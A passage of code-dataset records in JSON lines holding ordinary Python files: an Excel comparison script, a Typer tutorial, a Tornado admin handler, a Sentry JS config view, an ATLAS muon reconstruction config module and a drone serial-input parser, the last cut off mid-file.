+{"seq_id":"258633396","text":"from xlrd import open_workbook\nfrom xlutils.copy import copy\nimport re\n\n#lembrar de converter os arquivos xlsx para xls\n\n#IO excel antigo\nwb = open_workbook(r'C:\\Users\\carmando\\Documents\\Dev\\excel\\UNIFOR-CUCM7.xls')\nxl_sheet = wb.sheet_by_index(0)\nnrows0 = xl_sheet.nrows-1\nncols0 = xl_sheet.ncols-1\n#IO excel novo\nwb1 = open_workbook(r'C:\\Users\\carmando\\Documents\\Dev\\excel\\UNIFOR-CUCM11.xls')\nxl_sheet1 = wb1.sheet_by_index(0)\nnrows1 = xl_sheet1.nrows-1\nncols1 = xl_sheet1.ncols-1\n\n#returnline('valor', numerodalinha, xl_sheet ou xl_sheet1)\ndef returnline(sep, rows, sheet):\n\tfor i in range(rows):\n\t\tif sheet.cell(i,1).value == sep:\n\t\t\treturn i\n\treturn False\n\nfor j in range(nrows0):\n\tgetdata = xl_sheet.cell(j, 1).value\n\tif j != 0:\n\t\t#getdata = re.sub(r'\\.0', '', str(getdata))\n\t\tif not returnline(getdata, nrows1, xl_sheet1):\n\t\t\tgetdata = re.sub(r'\\.0', '', str(getdata))\n\t\t\tprint(str(getdata) + \" não está na planilha nova.\")\n#print(j)","sub_path":"old/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"636077050","text":"from uuid import UUID\n\nimport typer\n\n\ndef main(user_id: UUID):\n typer.echo(f\"USER_ID is {user_id}\")\n typer.echo(f\"UUID version is: {user_id.version}\")\n\n\nif __name__ == \"__main__\":\n typer.run(main)\n","sub_path":"docs_src/parameter_types/uuid/tutorial001.py","file_name":"tutorial001.py","file_ext":"py","file_size_in_byte":206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"623100632","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport datetime\nimport khayyam\nfrom base_app.classes.debug import Debug\nfrom admin_app.handlers.base import BaseHandler\nfrom base_app.models.mongodb.about_us.about_us import AboutUsModel\n\n__author__ = 'Morteza'\n\n\nclass AdminGeneralSettingsAboutUsHandler(BaseHandler):\n def get(self):\n self.data['now'] = datetime.datetime.now()\n self.render('admin/admin_settings/about_us.html', **self.data)\n\n def post(self):\n try:\n d = dict()\n self.check_sent_value(\"start-date\", d, \"start_date\", u\"تاریخ شروع را وارد کنید.\")\n self.check_sent_value(\"end-date\", d, \"end_date\", u\"تاریخ پایان را وارد کنید.\")\n self.check_sent_value(\"body\", d, \"body\", u\"محتوای صفحه را وارد کنید.\")\n if not len(self.errors):\n from scrubber import Scrubber\n d['body'] = Scrubber().scrub(d['body'])\n d['start_date'] = khayyam.JalaliDatetime().strptime(d['start_date'] + ' 00:00:00', '%Y/%m/%d %H:%M:%S').todatetime()\n d['end_date'] = khayyam.JalaliDatetime().strptime(d['end_date'] + ' 00:00:00', '%Y/%m/%d %H:%M:%S').todatetime()\n if d['start_date'] == d['end_date']:\n self.messages = [u\"تاریخ شروع و پایان را درست وارد کنید.\"]\n self.write(self.result)\n return\n\n a = AboutUsModel(**d).save()['value']\n if a == 'EXIST':\n self.messages = [u\"در این بازه درباره ما وجود دارد.\"]\n self.write(self.result)\n return\n self.status = True\n else:\n self.messages = self.errors\n self.write(self.result)\n except:\n Debug.get_exception(sub_system='admin', severity='error', tags='admin > login')\n self.write(self.error_result)","sub_path":"admin_app/handlers/setting/about_us.py","file_name":"about_us.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"628771207","text":"import logging\r\nimport os\r\nfrom App.config import getConfiguration\r\nfrom collective.sentry.browser.interfaces import IUserInfo\r\nfrom collective.sentry.config import ALLOWED_JS\r\nfrom collective.sentry.config import IGNORED_JS\r\nfrom collective.sentry.config import IGNORED_JS_ERRORS\r\nfrom collective.sentry.config import DSN_ENV_VAR\r\nfrom collective.sentry.config import ENVIRONMENT_ENV_VAR\r\nfrom collective.sentry.config import RELEASE_ENV_VAR\r\nfrom collective.sentry.config import SEND_ANYWAY_ENV_VAR\r\nfrom collective.sentry.config import TRACK_JS_ENV_VAR\r\nfrom Products.Five import BrowserView\r\nfrom zope.component import getMultiAdapter\r\n\r\n\r\nlogger = logging.getLogger('collective.sentry')\r\n\r\n\r\nSENTRY_INIT = \"\"\"Raven.config('%s', {\r\n whiteListUrls: [%s],\r\n ignoreErrors: [%s],\r\n ignoreUrls: [%s],\r\n environment: '%s',\r\n release: '%s'\r\n}).install();\r\nRaven.setUserContext(%s);\r\nconsole.log('raven installed');\r\n\"\"\"\r\n\r\n\r\nclass SentryConfig(BrowserView):\r\n \"\"\" Config js for Sentry\r\n \"\"\"\r\n\r\n def __call__(self):\r\n result = \"\"\r\n dsn = \"\"\r\n error_log = self.context.get('error_log', None)\r\n allowed_urls = os.environ.get(ALLOWED_JS, '')\r\n ignore_urls = os.environ.get(IGNORED_JS, '')\r\n ignore_errors = os.environ.get(IGNORED_JS_ERRORS, '')\r\n environment = os.environ.get(ENVIRONMENT_ENV_VAR, '')\r\n release = os.environ.get(RELEASE_ENV_VAR, '')\r\n ignore_errors = os.environ.get(IGNORED_JS_ERRORS, '')\r\n if error_log:\r\n props = error_log.getProperties()\r\n dsn = props.get('getsentry_dsn', \"\")\r\n track = props.get('track_js', False)\r\n if not track:\r\n track = bool(os.environ.get(TRACK_JS_ENV_VAR, False))\r\n send_anyway = os.environ.get(SEND_ANYWAY_ENV_VAR, '')\r\n if track and getConfiguration().debug_mode and not send_anyway:\r\n track = False\r\n logger.info(\r\n 'Zope is in debug mode. Not sending JS errors to sentry')\r\n dsn = dsn and dsn or os.environ.get(DSN_ENV_VAR, '')\r\n if dsn and track:\r\n adapter = getMultiAdapter((self.context, self.request), IUserInfo)\r\n user_data = str(adapter.get_user_data())\r\n result = SENTRY_INIT % (dsn,\r\n allowed_urls,\r\n ignore_errors,\r\n ignore_urls,\r\n environment,\r\n release,\r\n user_data)\r\n elif dsn and not track:\r\n logger.debug(\r\n 'JS tracking not enabled. Not sending JS errors to sentry')\r\n else:\r\n logger.debug(\"There is no GetSentry DSN set. Not \"\r\n \"configuring Sentry for JS\")\r\n\r\n self.request.response.setHeader('Content-Type',\r\n 'application/javascript')\r\n\r\n return result\r\n","sub_path":"collective/sentry/track_js.py","file_name":"track_js.py","file_ext":"py","file_size_in_byte":3021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"243933816","text":"# Copyright (C) 2002-2020 CERN for the benefit of the ATLAS collaboration\n\nfrom AthenaCommon.Logging import logging\nlogging.getLogger().info(\"Importing %s\", __name__)\n\nfrom six import with_metaclass\n\nfrom GaudiKernel.GaudiHandles import \\\n GaudiHandle,GaudiHandleArray,\\\n PublicToolHandle,PublicToolHandleArray,\\\n PrivateToolHandle,PrivateToolHandleArray,\\\n ServiceHandle\n\nfrom AthenaCommon.JobProperties import JobProperty,jobproperties\n\n\nimport os,sys,copy,re,subprocess\n\n# for backwards compat of clients. TO BE REMOVED !!!\nfrom AthenaCommon.ConfiguredFactory import getProperty\n\n# logger to use for normal output\nlogMuon = logging.getLogger(\"MuonRec\")\n# logger to use for resilience output\nlogMuonResil = logging.getLogger(\"Resilience.MuonRec\")\n\nfrom AthenaCommon.ConfigurableMeta import ConfigurableMeta\nfrom AthenaCommon.Configurable import Configurable,ConfigurableAlgTool,ConfigurableService\n\nclass ExtraFlags(object):\n ## Set value of flag or add new flag (if not yet present). Return set value\n ## If first argument is a JobProperty, both the name and the value will be taken from it, and no second argument should be given.\n ## If the second argument is a JobProperty, it's value will be taken (with get_Value()).\n def setFlag(self,name,value=None):\n if isinstance(name,JobProperty):\n if value is not None:\n raise ValueError(\"ExtraFlags.setValue(): No second argument should be given if first argument is a JobProperty args=(%s,%r)\" % (name._context_name,value) )\n return setattr(self, name.__name__, name.get_Value())\n\n elif isinstance(value,JobProperty):\n value = value.get_Value()\n\n return setattr(self,name,value)\n \n \n ## Set value of flag if not yet present. Return set value.\n ## If first argument is a JobProperty, both the name and the value will be taken from it, and no second argument should be given.\n ## If the second argument is a JobProperty, it's value will be taken (with get_Value()).\n def setFlagDefault(self,name,value=None):\n jp = name\n if isinstance(jp,JobProperty):\n if value is not None:\n raise ValueError(\"ExtraFlags.setDefault(): No second argument should be given if first argument is a JobProperty args=(%s,%r)\" % (jp._context_name,value) )\n name = jp.__name__\n try:\n return getattr(self,name)\n except AttributeError:\n return setattr(self,name,jp.get_Value())\n \n elif isinstance(value,JobProperty):\n value = value.get_Value()\n\n return setattr(self,name,value)\n\n \n\n\n\n\n# Add easy setting of user defaults to Configurables\n# NB ideally should be added to class Configurable\nclass ConfiguredBaseMeta(ConfigurableMeta):\n ## Technical note: It is important that the user defaults are stored\n # separately from the C++ defaults. This distinction is used in the\n # ConfigurableFactory: the C++ default tools/services can optionally\n # be instantiated (steered by configureAllDependencies arg to ConfigurableFactory __init__)\n def __new__( self, name, bases, dct ):\n # prepare for custom defaults\n\n newclass = type.__new__( self, name, bases, dct )\n if issubclass(newclass,Configurable):\n newclass = ConfigurableMeta.__new__( self, name, bases, dct )\n\n # add default class members\n d = '_userDefaults'\n## print(\"%r: adding new class member %s\" % (newclass,d))\n setattr(newclass,d,{})\n # fill in the missing defaults from bases\n for b in bases:\n try:\n newd = getattr(newclass,d)\n for n,v in getattr(b,d).items():\n if n not in newd:\n## print(\"%r.%s: adding default %s=%r from %r\" % (newclass,d,n,v,b))\n newd[n] = v\n except AttributeError:\n pass\n\n return newclass\n\n\n\n## @brief Add-in helper base class for configured configurable classes.\n#\n# Derived classes can set user default propoerties in a convenient way.\n# Defaults can be set with setDefaultProperty() and setDefaultProperties().\n# In the __init__ of the derived class, one should call applyDefaultProperties() *before*\n# calling the __init__ of the base class\n#\n# Arguments to the constructor are almost the same as for any Configurable.\n# @arg \\c name the instance name\n# @arg \\c args the dictionary container of keyword arguments (rather than the named arguments one by one),\n# which is being passed to the derived class __init__\n#\n# Example use:
\n#
\n# class DerivedConfigurable(SomeAutoGenConfigurable,ConfiguredBase):\n# def __init__(self,name,**kwargs):\n# self.applyUserDefaults(kwargs,name)\n# super(DerivedConfigurable,self).__init__(name,**kwargs)\n#\n# DerivedConfigurable.setDefaultProperties( prop1Name = prop1Value,\n# prop2Name = \"prop2String\",\n# toolHandle = \"ConfigurableInstanceName\" ) # in conjuction with ConfigurableFactory\n# \n#\n# NB This functionality should ideally be added directly to class Configurable\n#\nclass ConfiguredBase (with_metaclass (ConfiguredBaseMeta, object)):\n __slots__ = ()\n\n\n def __init__(self,name,args):\n self.applyUserDefaults(args,name)\n\n\n ## Set user default (not C++ default). Includes type checking.\n @classmethod\n def setDefaultProperty(cls,propertyName,value):\n # choose according to expected type\n try:\n prop = cls._properties[propertyName]\n except KeyError:\n raise AttributeError(\"%s does not have property %s\" % (cls.__name__,propertyName))\n\n errorAllowedTypes = None\n cxxdefault = prop.default\n if type(cxxdefault) == type(value):\n cls._userDefaults[propertyName] = copy.copy(value)\n elif isinstance(cxxdefault,PublicToolHandle):\n if value is None:\n cls._userDefaults[propertyName] = PublicToolHandle(\"\")\n elif type(value) == str:\n cls._userDefaults[propertyName] = PublicToolHandle(value)\n elif isinstance(value,ConfigurableAlgTool):\n cls._userDefaults[propertyName] = PublicToolHandle(value.getFullName())\n elif isinstance(value,PublicToolHandle):\n cls._userDefaults[propertyName] = copy.copy(value)\n else:\n errorAllowedTypes = \"str,PublicToolHandle,ConfigurableAlgTool\"\n \n elif isinstance(cxxdefault,PublicToolHandleArray):\n if value is None:\n cls._userDefaults[propertyName] = PublicToolHandleArray()\n elif type(value) == list:\n cls._userDefaults[propertyName] = PublicToolHandleArray(value)\n elif isinstance(value,PublicToolHandleArray):\n cls._userDefaults[propertyName] = copy.copy(value)\n else:\n errorAllowedTypes = \"list,PublicToolHandleArray\"\n \n elif isinstance(cxxdefault,PrivateToolHandle):\n if value is None:\n cls._userDefaults[propertyName] = PrivateToolHandle(\"\")\n elif type(value) == str:\n cls._userDefaults[propertyName] = PrivateToolHandle(value)\n elif isinstance(value,ConfigurableAlgTool):\n cls._userDefaults[propertyName] = copy.deepcopy(value)\n elif isinstance(value,PrivateToolHandle):\n cls._userDefaults[propertyName] = copy.copy(value)\n else:\n errorAllowedTypes = \"str,PrivateToolHandle,ConfigurableAlgTool\"\n \n elif isinstance(cxxdefault,PrivateToolHandleArray):\n if value is None:\n cls._userDefaults[propertyName] = PrivateToolHandleArray()\n elif type(value) == list:\n cls._userDefaults[propertyName] = PrivateToolHandleArray(value)\n elif isinstance(value,PrivateToolHandleArray):\n cls._userDefaults[propertyName] = copy.copy(value)\n else:\n errorAllowedTypes = \"list,PrivateToolHandleArray\"\n \n elif isinstance(cxxdefault,ServiceHandle):\n if value is None:\n cls._userDefaults[propertyName] = ServiceHandle(\"\")\n elif type(value) == str:\n cls._userDefaults[propertyName] = ServiceHandle(value)\n elif isinstance(value,ConfigurableService):\n cls._userDefaults[propertyName] = ServiceHandle(value.getFullName())\n elif isinstance(value,ServiceHandle):\n cls._userDefaults[propertyName] = copy.copy(value)\n else:\n errorAllowedTypes = \"str,ServiceHandle,ConfigurableService\"\n\n else:\n cls._userDefaults[propertyName] = value\n\n if errorAllowedTypes:\n raise TypeError( \"Setting default property %s.%s with wrong type. Expected %s got %s\" %\n (cls.__name__,propertyName,errorAllowedTypes,type(value).__name__) )\n\n\n @classmethod\n def setDefaultProperties(cls,**kwargs):\n for name,value in kwargs.items():\n cls.setDefaultProperty(name,value)\n # for debug\n # cls.printDefaultProperties()\n\n\n @classmethod\n def getUserDefaults(cls):\n return copy.copy(cls._userDefaults)\n\n\n ## return user default for given propertyName. Returns None is no user default is set\n @classmethod\n def getUserDefault(cls,propertyName):\n return cls._userDefaults[propertyName]\n\n\n @classmethod\n def applyUserDefaults(cls,args,name=None):\n logger = None\n if name is not None: logger = logging.getLogger(name)\n if logger: logger.verbose(\"Applying user defaults to arguments:\")\n for prop,default in cls._userDefaults.items():\n if prop not in args:\n args[prop] = default\n if logger: logger.verbose(\"%s = %r\", prop, default)\n else:\n if logger: logger.verbose(\"not setting default %s = %r because value already set to %r\", prop, default, args[prop])\n\n \n @classmethod\n def printUserDefaults(cls):\n print(\"User default properties of class %s\" % cls.__name__)\n for n,v in cls._userDefaults.items():\n print(\" %s = %r\" % (n,v))\n\n\n \n\n\n# end of class ConfiguredBase\n\n\n#\n# Some extra functionality for JobProperties\n#\n\nclass AutoLoadContainer(object):\n def __init__(self,moduleName=None,containerName=None,parentContainer=jobproperties):\n self._parentContainer = parentContainer\n if moduleName and containerName:\n self._moduleName = moduleName\n self._containerName = containerName\n\n def setContainer(self,moduleName,containerName):\n self._moduleName = moduleName\n self._containerName = containerName\n\n def setParent(self,parent):\n self._parentContainer = parent\n\n def load(self,moduleName=None,containerName=None):\n \"\"\"Load the JobProperty container in container module.\n If arguments not given (or None), then use stored members\"\"\"\n if not moduleName:\n moduleName = self._moduleName\n if not containerName:\n containerName = self._containerName\n # import the module. The module should itself\n # add its propertycontainer to toplevel jobproperties\n if moduleName not in sys.modules:\n logMuon.info(\"Auto-loading container %s from module %s\", containerName, moduleName)\n # import the (top) module\n mod = __import__(moduleName)\n # get lowest-level module\n for m in moduleName.split('.')[1:]:\n mod = getattr(mod,m)\n # add container\n contClass = getattr(mod,containerName)\n if not hasattr(self._parentContainer,contClass.__name__):\n self._parentContainer.add_Container(contClass)\n logMuon.info(\"Adding container %s to %s\",containerName,self._parentContainer.__name__)\n else:\n logMuon.debug(\"Container %s already in %s\",containerName,self._parentContainer.__name__)\n\n def unload(self,moduleName=None,containerName=None):\n \"\"\"Unload the JobProperty container, and the container module.\n If arguments not given (or None), then use stored members\"\"\"\n if not moduleName:\n moduleName = self._moduleName\n if not containerName:\n containerName = self._containerName\n try:\n mod = sys.modules[moduleName]\n except KeyError:\n # not there, nothing to be done\n pass\n else:\n # remove container\n contClass = getattr(mod,containerName)\n contInst = getattr(self._parentContainer,contClass.__name__,None)\n if contInst is not None:\n logMuon.info(\"Removing container %s from %s\",containerName,self._parentContainer.__name__)\n self._parentContainer.del_Container(contClass)\n\n# end of class AutoLoadContainer\n\n\nclass AutoLoadContainerJobProperty(JobProperty):\n \"\"\"JobPropertyBaseClass to auto-load a JobPropertyContainer.\n The derived class must have a member:\n Loader = AutoLoadContainer(
)\n The default allowedTypes is bool.\"\"\"\n\n allowedTypes=['bool']\n\n # Loader = AutoLoadContainer() # needed in derived class\n\n def _do_action(self):\n global logMuon\n try:\n self.Loader.load()\n except (ImportError,AttributeError):\n from AthenaCommon.AthenaCommonFlags import athenaCommonFlags\n if athenaCommonFlags.AllowIgnoreConfigError():\n logMuonResil.error(\"Error importing %s. Switching off %s\", self.Loader._moduleName,self.__name__)\n self.set_Off()\n else: # do not allow config error\n raise\n\n def _undo_action(self):\n self.Loader.unload()\n\n\ndef fillJobPropertyContainer(container,modname):\n import sys\n mod = sys.modules[modname]\n propertiesList = []\n for n,p in vars(mod).items():\n if isinstance(p,type) and issubclass(p,JobProperty) and p.__module__ == modname and \\\n 'JobProperty' not in n:\n container.add_JobProperty(p)\n propertiesList.append(getattr(container,p.__name__))\n return propertiesList\n\n\n\n## @brief JobProperty base class to make a summary boolean out of a number of booleans\n#\n# The list of JobProperties to control must be given in @c _properties (a list of refs).\n# If this property is set to False than set_Off() is called on all controlled properties.\n# If this property is set to True than set_On() is called on all controlled properties,\n# which means they will the get value they have been assigned (can be True or False).\n# The value of this property returns the logical OR of all the controlled values.\nclass SummaryJobProperty(JobProperty):\n statusOn = True\n allowedTypes = ['bool']\n StoredValue = True\n _properties = [] # list of bool properties to control. To be set in derived class\n\n\n def __init__(self,context=''):\n super(SummaryJobProperty,self).__init__(context)\n self.__class__._log = logging.getLogger(self._context_name)\n \n\n def _update_action(self):\n if self.statusOn and self.StoredValue:\n for p in self._properties:\n if p is not self:\n self._log.info(\"%s.set_On()\", p.__name__)\n p.set_On()\n else:\n for p in self._properties:\n if p is not self:\n self._log.info(\"%s.set_Off()\", p.__name__)\n p.set_Off()\n\n\n def _do_action(self):\n self._update_action()\n\n def _undo_action(self):\n self._update_action()\n\n ## Return logical OR of controlled properties\n def get_Value(self):\n for p in self._properties:\n if p.get_Value(): return True\n return False\n\n\n\n## Set the default value of JobProperty @c prop to @c value \ndef setJobPropertyDefault(prop,value):\n global logMuon\n if value != prop.__class__.StoredValue:\n mess = \"Changing default %s = %r\" % ( prop.__name__, value )\n if prop.__class__.StoredValue is not prop.StoredValue:\n mess += \" (current value: %r)\" % prop.get_Value()\n logMuon.info(mess)\n prop.__class__.StoredValue = value\n\n\n# Return full name of JobProperty, including parent containers,\n# but excluding the top container \"JobProperties\"\ndef JobPropertyFullName(prop):\n fullname = prop._context_name\n # remove redundant prefix\n pre = 'JobProperties.'\n if fullname.startswith(pre): fullname = fullname[len(pre):]\n return fullname\n\ndef hasJobPropertyBeenSet(prop):\n return prop.StoredValue is not prop.__class__.StoredValue\n\n\nclass _ContestResult:\n __slots__ = ( 'winner', 'loser' )\n def __init__(self,winner,loser):\n self.winner = winner\n self.loser = loser\n \n\n#\n# Compare 2 competing JobProperties and decide who's value wins.\n# Strategy:\n# 1. locked property wins\n# 2. set property wins\n# 3. In case of draw, @c prop1 wins\ndef _whoWins( prop1, prop2, logger = logMuon ):\n # 1. locked property wins\n if prop1.is_locked() and not prop2.is_locked():\n winner = prop1\n loser = prop2\n reason = 'it is locked'\n elif not prop1.is_locked() and prop2.is_locked():\n winner = prop2\n loser = prop1\n reason = 'it is locked'\n # 2. set property wins\n elif hasJobPropertyBeenSet(prop1) and not hasJobPropertyBeenSet(prop2):\n winner = prop1\n loser = prop2\n reason = 'it has the value set by user'\n elif not hasJobPropertyBeenSet(prop1) and hasJobPropertyBeenSet(prop2):\n winner = prop2\n loser = prop1\n reason = 'it has the value set by user'\n # Draw: chose prop1\n else:\n winner = prop1\n loser = prop2\n reason = 'it has precedence (both not locked and not set)'\n logger.debug('%s=%r vs %s=%r : %s=%r wins because %s',\n JobPropertyFullName(prop1), prop1.get_Value(),\n JobPropertyFullName(prop2), prop2.get_Value(),\n JobPropertyFullName(winner),winner.get_Value(),\n reason)\n # return the result\n return _ContestResult(winner,loser)\n\n## synchronise @c toProp to @c fromProp (both JobProperties)\ndef syncFlags( toProp, fromProp, logger = logMuon, ignoreLock = False ):\n toValue = toProp.get_Value()\n fromValue = fromProp.get_Value()\n if toValue == fromValue: return # nothing to do\n if toProp.is_locked():\n if not ignoreLock:\n logger.warning('%s is locked. Not synchronising with %s', JobPropertyFullName(toProp), JobPropertyFullName(fromProp))\n else:\n logger.warning('Overriding lock in setting %s = %r (synchronising with %s)', JobPropertyFullName(toProp), fromValue, JobPropertyFullName(fromProp))\n override_lock_and_set_Value(toProp, fromValue)\n else:\n logger.info('Setting %s = %r (synchronising with %s)', JobPropertyFullName(toProp), fromValue, JobPropertyFullName(fromProp))\n toProp.set_Value( fromValue )\n\n## synchronise flags, where the strongest wins.\n# Strategy:\n# 1. locked property wins\n# 2. set property wins\n# 3. In case of draw, @c prop1 wins\ndef syncWinningFlag( prop1, prop2, logger = logMuon, ignoreLock = False ):\n if prop1.get_Value() != prop2.get_Value():\n contest = _whoWins( prop1, prop2, logger )\n _syncFlags( contest.loser, contest.winner, logger, ignoreLock )\n\n\n\n\ndef override_lock_and_set_Value(prop,value):\n \"\"\"Set value of JobProperty, ignoring lock\"\"\"\n oldLock = prop._locked\n prop._locked = False\n prop.set_Value(value)\n prop._locked = oldLock\n\ndef override_lock_and_set_On(prop):\n \"\"\"call set_On() on JobProperty, ignoring lock\"\"\"\n oldLock = prop._locked\n prop._locked = False\n prop.set_On()\n prop._locked = oldLock\n\ndef override_lock_and_set_Off(prop):\n \"\"\"call set_Off() on JobProperty, ignoring lock\"\"\"\n oldLock = prop._locked\n prop._locked = False\n prop.set_Off()\n prop._locked = oldLock\n\n\ndef dumpDetFlags(filename='config.txt'):\n \"\"\"Append DetFlags printout to config file\"\"\"\n # add DetFlags\n from AthenaCommon.DetFlags import DetFlags\n import sys\n confFile = open(filename,'a')\n # redirect stdout to file\n sys.stdout, confFile = confFile, sys.stdout \n print(\"Detector flags:\")\n DetFlags.Print()\n # put back stdout to screen\n sys.stdout, confFile = confFile, sys.stdout \n confFile.close()\n\n\n\nclass RecConfigInfo(object):\n \"\"\"Small class to contain some info on the expanded reco tag\"\"\"\n def __init__(self,configTag,defaultPackage='MuonRecExample'):\n self.configTag = configTag\n configParts = configTag.split('.')\n # fill in the missing pieces\n nParts = len(configParts)\n # class name is always the last part\n self.className = configParts[-1]\n defaultModule = self.className\n if nParts == 1:\n # default package, default module\n self.packageName = defaultPackage\n self.moduleName = defaultModule\n elif nParts == 2:\n # default package, explicit module\n self.packageName = defaultPackage\n self.moduleName = configParts[-2]\n else:\n # explicit package, explicit module\n self.packageName = configParts[0]\n self.moduleName = '.'.join(configParts[1:-1])\n # full python module name\n self.fullModuleName = self.packageName + '.' + self.moduleName\n # make full configTag\n self.fullTag = self.fullModuleName + '.' + self.className\n # make short configName\n shortParts = [ self.className ]\n if self.moduleName != defaultModule:\n shortParts.insert(0,self.moduleName)\n if self.packageName != defaultPackage:\n shortParts.insert(0,self.packageName)\n self.shortTag = '.'.join(shortParts)\n \n# end of class RecConfigInfo\n\n\n\n# ugly hack in case we run outside of athena (e.g. in diffConfig.py)\ndef uglyHackedInclude(jobOptions):\n global ToolSvc,ServiceMgr\n from AthenaCommon.Include import include\n import __main__\n if not hasattr(__main__,'include'):\n include.setShowIncludes(False)\n include.setClean(False)\n setattr(__main__,'include',include)\n if not hasattr(__main__,\"ToolSvc\"):\n setattr(__main__,\"ToolSvc\",ToolSvc)\n if not hasattr(__main__,\"ServiceMgr\"):\n setattr(__main__,\"ServiceMgr\",ServiceMgr)\n\n include(jobOptions)\n","sub_path":"MuonSpectrometer/MuonReconstruction/MuonRecExample/python/MuonRecUtils.py","file_name":"MuonRecUtils.py","file_ext":"py","file_size_in_byte":22719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"234642822","text":"\n# Project: \t\tCS426 Spring 2018, Team #23: SkyWarden Senior Project, Aerial Drone Notification System (ADNS) \n# Team:\t\t\tRony Calderon, Bryan Kline, Jia Li, Robert Watkins\n# Subsystem:\tGround Base Unit\n# File name:\tParser.py \n# Description:\tParser class implementation\t\n#\t\t\t\tParser class parses, reassembles, and formats input from the subsystem on-board\n#\t\t\t\tthe drone coming in over the serial port from the receiver for use in the ground \n#\t\t\t\tbase unit \n\nfrom SerialPort import SerialPort\n\nclass Parser:\n\n\t__serialPort = None\n\t__parsedInput = None\n\t__serialReadSize = None\n\n\t# Name:\t\t\tParameterized constructor\n\t# Description:\tParser class parameterized constructor which takes in baud rate and timeout\n\t# \t\t\t\tvalues which are used to create a SerialPort object\n\t# Parameters:\tTakes in two ints which are the baud rate and timeout value needed in the \n\t# \t\t\t\tconstructor of the SerialPort object\n\t# Return:\t\tNone\n\tdef __init__(self, baudRate, timeOut, readinSize):\n\n\t\tself.__serialReadSize = readinSize\n\n\t\t# SerialPort object created with baud rate and timeout values passed into the constructor \n\t\tself.__serialPort = SerialPort(baudRate, timeOut, readinSize) \n\n\n\t# Name:\t\t\tgetSerialInput\n\t# Description:\tParser class method which continually reads in from the serial port through \n\t# \t\t\t\tthe SerialPort object and formats and concatenates the portions of the input, \n\t# \t\t\t\tremoving artifacts added by PySerial and checking for a decimal point\n\t# Parameters:\tNone\n\t# Return:\t\tReturns a list containing the value from the receiver as a string and char\n\t# \t\t\t\tindicating what type of value it is\n\tdef getSerialInput(self):\n\t\t\n\t\tdotBool = False\n\n\t\t# for reading in an entire line at a time from the serial port\n\t\tif self.__serialReadSize == 1:\n\t\t\t\n\t\t\t# reads in an entire line from the serial port\n\t\t\tinputValue = str(self.__serialPort.serialRead())\n\t\t\t\n\t\t\t# leading and trailing characters are parsed off the line and the outputList is built \n\t\t\t# from the parsed line\n\t\t\toutputList = [inputValue[2]]\n\t\t\toutputString = inputValue[3:-4]\n\t\t\toutputString = outputString.replace('\\\\', \"\")\n\t\t\toutputList.append(outputString)\n\n\t\t# for reading in data from the serial port one byte at a time\n\t\tif read.__serialReadSize == 0:\n\n\t\t\t# grabbing the first portion of the input, which enters in the format: b'1'\n\t\t\t# where 1 is the value coming in, the final values being: b'\\', b'r', b'\\', b'n'\n\t\t\t# which, along with the 'b', and ''' chars, are removed\n\t\t\t\n\t\t\tinputValue = str(self.__serialPort.serialRead())\n\t\t\t\n\t\t\tinputValue.split(\"'\")\n\t\t\tvalue = \"\"\n\n\t\t\t# while the first '\\' char of the carriage return, \\r\\n, has not been encountered, the \n\t\t\t# the first char in the string is retained and outputList is built from each one\n\t\t\t\n\t\t\twhile inputValue[2] != \"\\\\\":\n\t\t\t\t# skips errant, additional '.' chars if they are present in the input\n\t\t\t\tif inputValue[2] == '.':\n\t\t\t\t\tif not dotBool:\n\t\t\t\t\t\tdotBool = True\n\t\t\t\t\t\tvalue += inputValue[2]\n\t\t\t\telse:\n\t\t\t\t\tvalue += inputValue[2] \t\n\n\t\t\t\tinputValue = str(self.__serialPort.serialRead())\n\t\t\t\tinputValue.split(\"'\")\n\n\t\t\t# a list is built from the input, making the first char in the input the first\n\t\t\t# element in the list which is a control char which marks whether the input is a\n\t\t\t# voltage, with a 'v', or as a proximity reading, with any char from 'a' to 'n' \n\t\t\t# and the second element the input value itself\t\t\n\t\t\tif len(value) > 1:\n\t\t\t\toutputList = [str(value[0]), str(value[1:])]\n\t\t\telse:\n\t\t\t\toutputList = value \n\n\t\t\tinputValue = str(self.__serialPort.serialRead())\n\t\t\n\t\t# method call to trimValue to trim excess trailing digits from the input which will\n\t\t# then be returned\n\t\toutputList = self.trimValue(outputList)\n\t\t\n\t\t# the serial port buffer is flushed\n\t\tself.__serialPort.flushSerialPort()\n\t\t\n\t\treturn outputList\n\n\n\t# Name:\t\t\ttrimValue\n\t# Description:\tParser class method which takes in a list containing as the second element\n\t# \t\t\t\ta string which is to have trailing digits trimmed off depending whether the \n\t# \t\t\t\tstring corresponds to a voltage or a proximity reading\n\t# Parameters:\tTakes in a list containing a control char marking the type of value which is\n\t# \t\t\t\tbeing recieved from the serial port, which is the second element in the list\n\t# Return:\t\tReturns the list that was taken in but with the string containing the value\n\t# \t\t\t\ttrimmed down to the proper size for use in other classes in the ground unit\n\tdef trimValue(self, outputList):\n\t\t\n\t\tindex = 1\n\t\tvoltLimit = 6\n\t\tproxLimit = 5\n\n\t\tif outputList != None and len(outputList) > 1 and len(outputList[1]) > 0:\n\t\t\tlistSize = len(outputList[1])\n\n\t\t\t# if the first element in the list is not a valid control then return None\n\t\t\tif outputList[0] < 'a' or outputList[0] > 'z':\n\t\t\t\treturn None\n\n\t\t\t# the input value is iterated through and there are non-numeric chars in the\n\t\t\t# string, return None\n\t\t\twhile index < listSize:\n\t\t\t\tif outputList[1][index] >= 'a' and outputList[1][index] <= 'z':\n\t\t\t\t\treturn None\n\t\t\t\tindex += 1\n\n\t\t\t# if the input value is a voltage, enforce a string size of 5\n\t\t\tif outputList[0] == 'v' and listSize > 6:\n\t\t\t\toutputList[1] = outputList[1][:-(listSize - voltLimit)]\n\t\t\t# else if the input value is proximity, enforce a string size of 4\n\t\t\telif len(outputList) > 0 and outputList[0] >= 'a' and outputList[0] <= 'l' and listSize > 5:\n\t\t\t\toutputList[1] = outputList[1][:-(listSize- proxLimit)]\n\n\t\treturn outputList\n\n\n\t# 